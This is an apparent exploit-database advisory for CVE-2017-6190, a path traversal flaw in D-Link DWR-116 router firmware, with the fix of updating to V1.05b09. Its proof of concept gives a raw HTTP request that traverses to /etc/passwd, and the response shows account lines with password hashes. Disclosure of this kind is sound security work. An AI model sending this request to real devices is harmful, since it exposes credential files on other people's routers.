D-Link DWR-116 Arbitrary File Download

vendor:

DWR-116 / DWR-116A1

by:

Patryk Bogdan

7,5

CVSS

HIGH

Unauthorized File Download

CWE

Product Name: DWR-116 / DWR-116A1

Affected Version From: V1.01(EU), V1.00(CP)b10

Affected Version To: V1.05(AU)

Patch Exists: YES

Related CWE: CVE-2017-6190

CPE: h:d-link:dwr-116

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: V1.01(EU), V1.00(CP)b10, V1.05(AU)

2016

D-Link DWR-116 Arbitrary File Download

D-Link DWR-116 with firmware before V1.05b09 suffers from vulnerability which leads to unathorized file download from device filesystem.

Mitigation:

Update device to the new firmware (V1.05b09)

Source

Exploit-DB raw data:

# Title: D-Link DWR-116 Arbitrary File Download
# Vendor: D-Link (www.dlink.com)
# Affected model(s): DWR-116 / DWR-116A1
# Tested on: V1.01(EU), V1.00(CP)b10, V1.05(AU)
# CVE: CVE-2017-6190
# Date: 04.07.2016
# Author: Patryk Bogdan (@patryk_bogdan)

Description:
D-Link DWR-116 with firmware before V1.05b09 suffers from vulnerability
which leads to unathorized file download from device filesystem.


PoC:

HTTP Request:
GET /uir/../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.2.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

HTTP Response:
HTTP/1.0 200 OK
Content-Type: application/x-none
Cache-Control: max-age=60
Connection: close

root:$1$$taUxCLWfe3rCh2ylnFWJ41:0:0:root:/root:/bin/ash
nobody:$1$$qRPK7m23GJusamGpoGLby/:99:99:nobody:/var/usb:/sbin/nologin
ftp:$1$$qRPK7m23GJusamGpoGLby/:14:50:FTP USER:/var/usb:/sbin/nologin


Fix:
Update device to the new firmware (V1.05b09)